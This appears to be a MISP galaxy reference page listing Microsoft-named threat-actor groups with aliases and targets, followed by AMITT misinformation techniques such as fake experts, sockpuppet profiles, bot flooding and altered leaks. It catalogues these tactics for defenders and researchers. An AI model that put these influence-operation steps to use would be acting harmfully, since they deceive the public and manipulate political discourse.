PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.
The tag is: misp-galaxy:microsoft-activity-group="PROMETHIUM"
PROMETHIUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"
Links |
NEODYMIUM
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.
The tag is: misp-galaxy:microsoft-activity-group="NEODYMIUM"
NEODYMIUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"
Links |
TERBIUM
Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.
The tag is: misp-galaxy:microsoft-activity-group="TERBIUM"
TERBIUM has relationships with:
-
similar: misp-galaxy:threat-actor="TERBIUM" with estimative-language:likelihood-probability="likely"
Links |
STRONTIUM
STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims’ computer.
The tag is: misp-galaxy:microsoft-activity-group="STRONTIUM"
STRONTIUM is also known as:
-
APT 28
-
APT28
-
Pawn Storm
-
Fancy Bear
-
Sednit
-
TsarTeam
-
TG-4127
-
Group-4127
-
Sofacy
-
Grey-Cloud
STRONTIUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"
Links |
https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/ |
DUBNIUM
DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.
The tag is: misp-galaxy:microsoft-activity-group="DUBNIUM"
DUBNIUM is also known as:
-
darkhotel
DUBNIUM has relationships with:
-
similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/ |
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2 |
PLATINUM
PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.
The tag is: misp-galaxy:microsoft-activity-group="PLATINUM"
PLATINUM has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"
Links |
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/ |
BARIUM
Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.
The tag is: misp-galaxy:microsoft-activity-group="BARIUM"
Links |
LEAD
In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD’s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD’s objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD’s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.
The tag is: misp-galaxy:microsoft-activity-group="LEAD"
Links |
ZIRCONIUM
In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.
The tag is: misp-galaxy:microsoft-activity-group="ZIRCONIUM"
Links |
https://www.cfr.org/interactive/cyber-operations/mythic-leopard
This threat actor uses social engineering and spear phishing to target military and defense organizations in India, for the purpose of espionage.
The tag is: misp-galaxy:microsoft-activity-group="https://www.cfr.org/interactive/cyber-operations/mythic-leopard"
https://www.cfr.org/interactive/cyber-operations/mythic-leopard is also known as:
-
C-Major
-
Transparent Tribe
https://www.cfr.org/interactive/cyber-operations/mythic-leopard has relationships with:
-
similar: misp-galaxy:threat-actor="Operation C-Major" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/mythic-leopard |
GALLIUM
Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we’re encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.
The tag is: misp-galaxy:microsoft-activity-group="GALLIUM"
GALLIUM is also known as:
-
Operation Soft Cell
GALLIUM has relationships with:
-
similar: misp-galaxy:threat-actor="Operation Soft Cell" with estimative-language:likelihood-probability="likely"
Links |
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/ |
Misinformation Pattern
AM!TT Technique.
Misinformation Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
misinfosecproject
5Ds (dismiss, distort, distract, dismay, divide)
Nimmo’s "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.
The tag is: misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0001.md |
Facilitate State Propaganda
Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China’s Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).
The tag is: misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0002.md |
Leverage Existing Narratives
Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consitent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplifiction practices. Examples include midwesterners are generous, Russia is under attack from outside.
The tag is: misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0003.md |
Competing Narratives
Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that “absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community" (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).
Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.
These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.
The tag is: misp-galaxy:amitt-misinformation-pattern="Competing Narratives"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0004.md |
Center of Gravity Analysis
Recon/research to identify "the source of power that provides moral or physical strength, freedom of action, or will to act." Thus, the center of gravity is usually seen as the "source of strength". Includes demographic and network analysis of communities
The tag is: misp-galaxy:amitt-misinformation-pattern="Center of Gravity Analysis"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0005.md |
Create Master Narratives
The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a "whole of society" perpective the promotion of the society’s core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perpectve the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion consitutes an ongoing tactical struggle carried out at a whole-of-society level.
By way of example, major powers are promoting master narratives such as: * "Huawei is detetmined to build trustworthy networks" * "Russia is the victim of bullying by NATO powers" * "USA is guided by its founding principles of liberty and egalitarianism"
Tactically, their promotion covers a broad spectrum of activities both on- and offline.
The tag is: misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0006.md |
Create fake Social Media Profiles / Pages / Groups
Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.
Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.
Examples: Ukraine elections (2019) circumvent Facebook’s new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.
The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0007.md |
Create fake or imposter news sites
Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their owenership, reporting history and adverstising details. A prominent case from the 2016 era was the Denver Guardian, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.
The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md |
Create fake experts
Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”--pushed the story heavily on LinkedIn.
The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake experts"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md |
Cultivate useful idiots
Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as "useful idiots" or "unwitting agents".
The tag is: misp-galaxy:amitt-misinformation-pattern="Cultivate useful idiots"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0010.md |
Hijack legitimate account
Hack or take over legimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.
The tag is: misp-galaxy:amitt-misinformation-pattern="Hijack legitimate account"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0011.md |
Use concealment
Use anonymous social media profiles. Examples include page or group administrators, masked "whois" website directory data, no bylines connected to news article, no masthead connect to news websites.
Example is 2016 @TEN_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.
The tag is: misp-galaxy:amitt-misinformation-pattern="Use concealment"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0012.md |
Create fake websites
The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake websites"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0013.md |
Create funding campaigns
Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via Gofundme; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016) #VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targetting Washington State mothers, $1,776 to boost posts over 9 months).
The tag is: misp-galaxy:amitt-misinformation-pattern="Create funding campaigns"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0014.md |
Create hashtag
Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).
Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name! 2. Publicize the story more widely through trending lists and search behavior
Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)
The tag is: misp-galaxy:amitt-misinformation-pattern="Create hashtag"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md |
Clickbait
Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) “Pope Francis shocks world, endorses Donald Trump for president.” (example 2016) "FBI director received millions from Clinton Foundation, his brother’s law firm does Clinton’s taxes”. This is a key asset
The tag is: misp-galaxy:amitt-misinformation-pattern="Clickbait"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md |
Promote online funding
Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates
The tag is: misp-galaxy:amitt-misinformation-pattern="Promote online funding"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md |
Paid targeted ads
Create or fund advertisements targeted at specific populations
The tag is: misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md |
Generate information pollution
Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.
The tag is: misp-galaxy:amitt-misinformation-pattern="Generate information pollution"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md |
Trial content
Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content enagagement metrics; website and/or funding campaign conversion rates
The tag is: misp-galaxy:amitt-misinformation-pattern="Trial content"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md |
Memes
Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.
The tag is: misp-galaxy:amitt-misinformation-pattern="Memes"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md |
Conspiracy narratives
"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of poweful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the ""firehose of falsehoods"" model.
Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable "
The tag is: misp-galaxy:amitt-misinformation-pattern="Conspiracy narratives"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md |
Distort facts
Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content
The tag is: misp-galaxy:amitt-misinformation-pattern="Distort facts"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md |
Create fake videos and images
Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshoped shark on flooded streets of Houston TX.
The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake videos and images"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md |
Leak altered documents
Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.
Example (2019) DFRLab report "Secondary Infektion” highlights incident with key asset being a forged “letter” created by the operation to provide ammunition for far-right forces in Europe ahead of the election.
The tag is: misp-galaxy:amitt-misinformation-pattern="Leak altered documents"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md |
Create fake research
Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx
The tag is: misp-galaxy:amitt-misinformation-pattern="Create fake research"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md |
Adapt existing narratives
Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangable key master narratives can be ("The morally corrupt West") adapted to divisive (LGBT proganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, espically in crimincal justice areas."
The tag is: misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0027.md |
Create competing narratives
"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.
Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.
These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the ""firehose of misinformation"" approach."
The tag is: misp-galaxy:amitt-misinformation-pattern="Create competing narratives"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0028.md |
Manipulate online polls
Create fake online polls, or manipulate existing online polls. Examples: flooding FCC with comments; creating fake engagement metrics of Twitter/Facebook polls to manipulate perception of given issue. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well
The tag is: misp-galaxy:amitt-misinformation-pattern="Manipulate online polls"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0029.md |
Backstop personas
Create other assets/dossier/cover/fake relationships and/or connections or documents, sites, bylines, attributions, to establish/augment/inflate crediblity/believability
The tag is: misp-galaxy:amitt-misinformation-pattern="Backstop personas"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0030.md |
YouTube
Use YouTube as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="YouTube"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0031.md |
Use Reddit as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="Reddit"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0032.md |
Use Instagram as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="Instagram"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0033.md |
Use LinkedIn as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="LinkedIn"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0034.md |
Use Pinterest as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="Pinterest"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0035.md |
Use WhatsApp as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="WhatsApp"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0036.md |
Use Facebook as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="Facebook"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0037.md |
Use Twitter as a narrative dissemination channel
The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0038.md |
Bait legitimate influencers
The tag is: misp-galaxy:amitt-misinformation-pattern="Bait legitimate influencers"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0039.md |
Demand unsurmountable proof
The tag is: misp-galaxy:amitt-misinformation-pattern="Demand unsurmountable proof"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0040.md |
Deny involvement
The tag is: misp-galaxy:amitt-misinformation-pattern="Deny involvement"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0041.md |
Kernel of Truth
The tag is: misp-galaxy:amitt-misinformation-pattern="Kernel of Truth"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0042.md |
Use SMS/ WhatsApp/ Chat apps
The tag is: misp-galaxy:amitt-misinformation-pattern="Use SMS/ WhatsApp/ Chat apps"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0043.md |
Seed distortions
The tag is: misp-galaxy:amitt-misinformation-pattern="Seed distortions"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0044.md |
Use fake experts
Use the fake experts that were set up in T0009. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credility" to misinformation. Take advantage of credential bias
The tag is: misp-galaxy:amitt-misinformation-pattern="Use fake experts"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0045.md |
Search Engine Optimization
Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"
The tag is: misp-galaxy:amitt-misinformation-pattern="Search Engine Optimization"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md |
Muzzle social media as a political force
Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transperancy reports. (Example 20190 Singapore Protection from Online Falsehoods and Manipulation Bill would make it illegal to spread "false statements of fact" in Singapore, where that information is "prejudicial" to Singapore’s security or "public tranquility." Or India/New Delhi has cut off services to Facebook and Twitter in Kashmir 28 times in the past five years, and in 2016, access was blocked for five months — on the grounds that these platforms were being used for anti-social and "anti-national" purposes.
The tag is: misp-galaxy:amitt-misinformation-pattern="Muzzle social media as a political force"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md |
Cow online opinion leaders
Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Phillipines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.
The tag is: misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md |
Flooding
Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to acheive this effect.
Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi’s death.
The tag is: misp-galaxy:amitt-misinformation-pattern="Flooding"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md |
Cheerleading domestic social media ops
Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.
The tag is: misp-galaxy:amitt-misinformation-pattern="Cheerleading domestic social media ops"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0050.md |
Fabricate social media comment
Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)
The tag is: misp-galaxy:amitt-misinformation-pattern="Fabricate social media comment"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md |
Tertiary sites amplify news
Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.
Examples of tertiary sites inculde Russia Insider, The Duran, geopolitica.ru, Mint Press News, Oriental Review, globalresearch.ca.
Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.
Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.
The tag is: misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md |
Twitter trolls amplify and manipulate
Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it’s easier to amplify existing content than create new/original content. Trolls operate where ever there’s a socially divisive issue (issues that can/are be politicized) e.g. BlackLivesMatter or MeToo
The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter trolls amplify and manipulate"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0053.md |
Twitter bots amplify
Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it’s more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019) #TrudeauMustGo
The tag is: misp-galaxy:amitt-misinformation-pattern="Twitter bots amplify"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0054.md |
Use hashtag
Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)
The tag is: misp-galaxy:amitt-misinformation-pattern="Use hashtag"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0055.md |
Dedicated channels disseminate information pollution
Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.
